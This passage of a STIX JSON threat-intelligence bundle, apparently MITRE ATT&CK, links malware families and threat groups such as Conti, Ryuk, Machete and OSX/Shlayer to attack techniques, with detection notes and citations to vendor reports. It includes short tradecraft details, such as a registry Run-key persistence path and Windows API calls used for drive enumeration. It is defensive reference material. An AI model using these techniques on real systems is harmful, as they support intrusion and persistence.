"x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9cb17d40-fe0f-4b68-bac7-78778c8772d7", "created": "2022-07-18T15:58:16.878Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Korean FSI TA505 2020", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) can capture screenshots.(Citation: Korean FSI TA505 2020)", "modified": "2022-07-18T15:58:16.878Z", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cb75506-505c-49b9-9162-c79c2c069244", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Monitor for newly constructed processes and/or command-lines that will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cba53fd-9b5c-4dc3-b933-c167b1d62a03", "type": "relationship", "created": "2019-09-13T14:28:14.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", "source_name": "Cylance Machete Mar 2017"}, {"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}], "modified": "2020-11-20T20:11:15.531Z", "description": "[Machete](https://attack.mitre.org/software/S0409) can find, encrypt, and upload files from fixed and removable drives.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019) ", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cbb4f4c-c25f-42c4-a5ba-52e70a6654bd", "type": "relationship", "created": "2021-04-13T13:07:50.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. 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Retrieved September 13, 2021.", "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"}, {"source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T20:54:19.624Z", "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) has used the command <code>appDir=\"$(dirname $(dirname \"$currentDir\"))\"</code> and <code>$(dirname \"$(pwd -P)\")</code> to construct installation paths.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)", "relationship_type": "uses", "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cc2f27e-bf85-4471-8be5-0cf614cd5840", "type": "relationship", "created": "2019-02-21T21:12:55.716Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}], "modified": "2019-04-29T18:16:38.860Z", "description": "(Citation: FireEye APT39 Jan 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9cc440a2-5770-449d-8886-fcc0d221deaf", "created": "2023-04-12T22:27:54.023Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-12T22:27:54.023Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cc4cd5d-7b10-4dd7-8fd9-90288aa8b5be", "type": "relationship", "created": "2020-06-08T18:06:36.380Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-15T21:19:30.968Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to manage an automated queue of egress files and commands sent to its C2.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cc5bd19-ab08-4eb7-886b-ce55fde60421", "type": "relationship", "created": "2021-02-25T00:50:55.423Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}, {"source_name": "Cybereason Conti Jan 2021", "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."}, {"source_name": "CrowdStrike Wizard Spider October 2020", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}], "modified": "2021-06-15T20:00:18.171Z", "description": "[Conti](https://attack.mitre.org/software/S0575) can use compiler-based obfuscation for its code, encrypt DLLs, and hide Windows API calls.(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)(Citation: CrowdStrike Wizard Spider October 2020)", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cc847b7-61ae-46f7-ab06-16560775d44b", "type": "relationship", "created": "2021-03-31T15:35:34.085Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-03-31T15:35:34.085Z", "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can uninstall its persistence mechanism and delete its configuration file.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ccf0f5a-e1c1-4be1-b823-cf087a07c670", "type": "relationship", "created": "2021-03-25T16:01:55.246Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T16:01:55.246Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exfiltrated files via the Dropbox API C2.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cd7c6d3-95a1-4403-8799-807b9f27509a", "type": "relationship", "created": "2020-11-10T20:29:51.931Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-12-22T21:20:18.246Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) can use VBS scripts to execute malicious DLLs.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9cd85648-3618-4817-a178-d36d7c40631c", "created": "2023-03-02T18:44:56.980Z", "revoked": false, "external_references": [{"source_name": "Sophos BlackCat Jul 2022", "description": "Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.", "url": "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/"}, {"source_name": "Microsoft BlackCat Jun 2022", "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. 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Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T21:27:07.141Z", "description": "[Penquin](https://attack.mitre.org/software/S0587) can encrypt communications using the BlowFish algorithm and a symmetric key exchanged with Diffie Hellman.(Citation: Leonardo Turla Penquin May 2020)", "relationship_type": "uses", "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ce4b00d-fa78-4c17-9b96-b36bb9117a4a", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.", "source_ref": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e", "target_ref": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ce9ab1f-b4fa-41e7-8302-11c30f918001", "type": "relationship", "created": "2020-06-09T15:33:13.725Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant M-Trends 2020", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "description": "Mandiant. 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New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}], "modified": "2020-03-17T14:52:20.340Z", "description": "[Rover](https://attack.mitre.org/software/S0090) copies files from removable drives to <code>C:\\system</code>.(Citation: Palo Alto Rover)", "relationship_type": "uses", "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9cf09dbc-7668-4c1c-8e57-01f9c082c80d", "created": "2024-03-01T18:37:30.187Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Volexity Ivanti Global Exploitation January 2024", "description": "Gurkok, C. et al. (2024, January 15). Ivanti Connect Secure VPN Exploitation Goes Global. Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/15/ivanti-connect-secure-vpn-exploitation-goes-global/"}, {"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}, {"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}, {"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. (2024, January 12). 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A server-side request forgery (SSRF) vulnerability, CVE-2024-21893, was identified later and used to bypass mitigations for the initial two vulnerabilities by chaining with CVE-2024-21887.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Volexity Ivanti Global Exploitation January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cf32fea-16cd-41cf-93f3-a47c1388abbc", "type": "relationship", "created": "2020-05-14T14:27:31.210Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}], "modified": "2022-03-26T13:13:20.620Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has called <code>GetLogicalDrives</code> to emumerate all mounted drives, and <code>GetDriveTypeW</code> to determine the drive type.(Citation: CrowdStrike Ryuk January 2019)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Operation Groundbait", "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. 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(2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}], "modified": "2020-05-12T20:56:07.282Z", "description": "[VBShower](https://attack.mitre.org/software/S0442) used <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\[a-f0-9A-F]{8}</code> to maintain persistence.(Citation: Kaspersky Cloud Atlas August 2019)", "relationship_type": "uses", "source_ref": "malware--8caa18af-4758-4fd3-9600-e8af579e89ed", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cf6e55f-3014-4292-a393-9418c6e6b4a1", "type": "relationship", "created": "2020-12-17T15:24:12.399Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft SolarWinds Customer Guidance", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."}], "modified": "2021-09-20T16:47:19.668Z", "description": "Ensure that user accounts with administrative rights follow best practices, including use of privileged access workstations, Just in Time/Just Enough Administration (JIT/JEA), and strong authentication. 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Retrieved February 16, 2021.", "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:54:23.926Z", "description": "[BendyBear](https://attack.mitre.org/software/S0574) has encrypted payloads using RC4 and XOR.(Citation: Unit42 BendyBear Feb 2021)", "relationship_type": "uses", "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d11c36e-e738-4d2a-98cf-f5f962a716ea", "type": "relationship", "created": "2021-08-24T20:03:36.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Kobalos Feb 2021", "url": "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/", "description": "M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos \u2013 A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."}], "modified": "2021-10-18T22:07:00.567Z", "description": "[Kobalos](https://attack.mitre.org/software/S0641) encrypts all strings using RC4 and bundles all functionality into a single function call.(Citation: ESET Kobalos Feb 2021) ", "relationship_type": "uses", "source_ref": "malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d1a9a04-6174-4aaa-8fac-43c965f0bd38", "type": "relationship", "created": "2021-10-01T20:57:16.364Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:01.131Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect process filenames and SID authority level.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d201245-16f4-4142-94ff-25136107d0f6", "type": "relationship", "created": "2020-11-19T18:02:58.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-12-16T16:12:01.591Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can enumerate open ports on a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9d239ea5-b191-4e30-9d0c-fd5ee69e621d", "created": "2022-02-02T22:02:29.899Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lizar](https://attack.mitre.org/software/S0681) has used PowerShell scripts.(Citation: BiZone Lizar May 2021)", "modified": "2022-04-05T17:19:46.651Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d239fc5-5d40-4991-ae41-761686ab43a2", "type": "relationship", "created": "2021-04-13T20:27:51.729Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Recorded Future REDDELTA July 2020", "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}, {"source_name": "Proofpoint TA416 November 2020", "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."}, {"source_name": "Google TAG Ukraine Threat Landscape March 2022", "url": "https://blog.google/threat-analysis-group/update-threat-landscape-ukraine", "description": "Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022."}], "modified": "2022-03-16T18:38:10.452Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used spearphishing attachments to deliver initial access payloads.(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 November 2020)(Citation: Google TAG Ukraine Threat Landscape March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9d28bf78-0fde-4efd-85b2-fc1960f1b386", "created": "2022-07-25T18:36:59.018Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) has the ability to search the compromised host for files.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:36:59.018Z", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d293200-1425-4a77-8a2e-75a1ffb78310", "type": "relationship", "created": "2021-09-21T15:45:10.182Z", "created_by_ref": 